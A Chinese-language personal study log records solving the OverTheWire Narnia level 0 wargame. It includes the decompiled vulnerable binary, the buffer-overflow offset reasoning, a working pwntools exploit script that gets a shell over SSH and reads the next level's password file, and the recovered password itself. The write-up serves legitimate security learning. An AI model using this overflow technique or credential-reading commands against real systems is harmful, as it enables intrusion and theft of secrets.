1625-5 王子昂 总结《2017年8月23日》 【连续第324天总结】
A. Narnia
B.
Level 0
文件在/narnia/中,运行narnia0,提示要将value从0x41414141变为0xdeadbeef
拖下来IDA反编译可知
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buff; // [sp+18h] [bp-18h]@1
signed int value; // [sp+2Ch] [bp-4h]@1
value = 0x41414141;
puts("Correct val's value from 0x41414141 -> 0xdeadbeef!");
printf("Here is your chance: ");
__isoc99_scanf("%24s", &buff);
printf("buf: %s\n", &buff);
printf("val: 0x%08x\n", value);
if ( value != 0xDEADBEEF )
{
puts("WAY OFF!!!!");
exit(1);
}
system("/bin/sh");
return 0;
}
很明显,通过buff的溢出来修改value的值
观察可知buff在sp+18h处,value在sp+2C处
因此构造输入’a’ * (0x2C-0x18) + ‘\xef\xbe\xad\xde’即可
顺便学习了pwntools的使用,它需要linux的环境,因此开了kali虚拟机
OverTheWire都是以SSH方式连接的,因此与直接使用remote不同
conn建立SSH连接后,用run方法开启bash,之后就正常使用了
interactive方法可以将shell交还本地,进行其他动作
不过直接发送cat语句可以更快速地看到结果
pw:
efeidiedae
注释部分为down文件和本地测试的过程
脚本:
#!/usr/bin/python
from pwn import *
# context(arch = 'i386', os = 'linux')
# r = remote('narnia.labs.overthewire.org', 2226)
conn = ssh('narnia0', 'narnia.labs.overthewire.org', 2226, password='narnia0')
# conn.download_file('/narnia/narnia0')
# sh = process('narnia0')
sh = conn.run('sh')
sh.sendline('/narnia/narnia0')
sh.sendline('a' * (0x2c - 0x18) + chr(0xef) + chr(0xbe) + chr(0xad) + chr(0xde))
# sh.interactive()
print(sh.recvrepeat(timeout=5))
sh.sendline('cat /etc/narnia_pass/narnia1')
print(sh.recvrepeat(timeout=5))
C. 明日计划
逆向/NarniaPwn